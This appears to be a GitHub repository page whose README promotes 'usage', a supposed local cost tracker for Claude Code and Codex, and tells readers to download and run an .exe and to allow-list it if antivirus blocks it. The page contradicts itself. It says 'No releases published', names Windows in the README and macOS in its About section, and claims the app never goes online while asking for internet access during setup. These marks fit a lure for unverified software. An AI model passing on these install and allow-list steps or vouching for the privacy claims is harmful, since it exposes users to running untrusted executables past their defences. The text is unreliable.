Skip to content

Piscatory-liposarcoma960/usage

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

2 Commits
Β 
Β 

Repository files navigation

πŸ“Š usage - Track your coding tool costs privately

What this tool does

The usage app helps you monitor how much you spend while you code. It sits in your menu bar. You see your current active usage at a glance. It works with Claude Code and Codex. You maintain full control over your data. This app makes no external calls to your providers. All processing happens on your machine.

πŸ›  Features

  • Privacy First: Your data never leaves your computer.
  • Menu Bar Access: Check your stats without opening new windows.
  • Real-time Tracking: See your usage updates as you code.
  • No API Bloat: This tool reads your local logs. It does not ping servers.
  • Lightweight: It uses minimal system memory.

πŸ’» System Requirements

  • Operating System: Windows 10 or Windows 11.
  • Memory: 4GB of RAM or more.
  • Storage: 50MB of space for the application files.
  • Permissions: You need permission to run installer files on your machine.

πŸ“₯ Downloading and Installing

Follow these steps to set up the application:

  1. Visit the releases page.
  2. Look for the file ending in .exe under the latest release.
  3. Click the file name to start your download.
  4. Open the file once the download finishes.
  5. Follow the prompts on your screen to complete the installation.
  6. The app icon appears in your system tray once installation finishes.

βš™οΈ Setting Up Preferences

You can change how the app tracks your data. Right-click the app icon in your system tray. Select Settings. Here you choose which tools to monitor. You can also change how often the app updates. Click Save to apply your choices.

πŸ”’ Privacy and Security

Data security matters. Many tracking tools send your usage data to third-party servers. This app works differently. It reads your local logs. It creates charts from those files. It never attempts to connect to the internet. You own your information. You decide who sees your coding data.

🧩 Troubleshooting Common Issues

The app does not show usage data. Check if Claude Code or Codex is running. Your logs need to generate data for this app to display it. Ensure the file path for your logs matches the settings in the app.

The menu bar icon is missing. Right-click your taskbar. Check your taskbar settings. Make sure the app icon is set to appear in the notification area. Open the Task Manager to verify the app process is active.

The installation fails. Ensure you have an active internet connection during the initial setup. Your antivirus software might block new applications. Add the app to your allow-list if your security software stops the installation.

πŸ“‚ Understanding Where Data Lives

This application stores logs in a hidden folder on your hard drive. This keeps your main workspace clean. You can find these logs by clicking the "View Logs" button inside the Settings menu. The app saves these files in a simple format. You can open these files with any text editor to verify the content.

πŸ“ˆ Improving Accuracy

The app calculates usage based on your tool settings. If your usage numbers seem low, verify your tool configuration. Check if your coding assistant correctly logs every session. The tracker only displays what it finds in those files. If the assistant does not log an event, the tracker cannot count it.

πŸ›  Advanced Customization

Advanced users can edit the configuration file directly. Right-click the app icon and select "Open Configuration Folder." Open the config.json file in a text editor like Notepad. You can change the refresh interval by editing the number next to refresh_ms. Save the file and restart the application to apply the changes. Only modify these values if you are comfortable with basic text editing.

πŸ“– Frequently Asked Questions

Does this cost money? No. This tool is free to use.

Does this track my code? No. This tool only tracks usage metrics. It ignores the content of your code files.

Can I run this on multiple machines? Yes. You can install it on every computer you use for development.

How does it track usage without API calls? It monitors the local log files generated by your coding tools. It parses the text within those files to determine usage volume. It does not perform network requests to provider endpoints.

What happens if I update my coding tools? This app checks for log changes frequently. It adapts to new log formats automatically in most cases. If a major update breaks the tracking, check the releases page for an application update.

How do I stop tracking? You can disable specific trackers in the settings menu. You can also close the app entirely. This stops all background processes. Your data remains safe on your machine.

About

Track Claude Code and Codex usage from your macOS menu bar with local file analysis for accurate cost and token monitoring.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors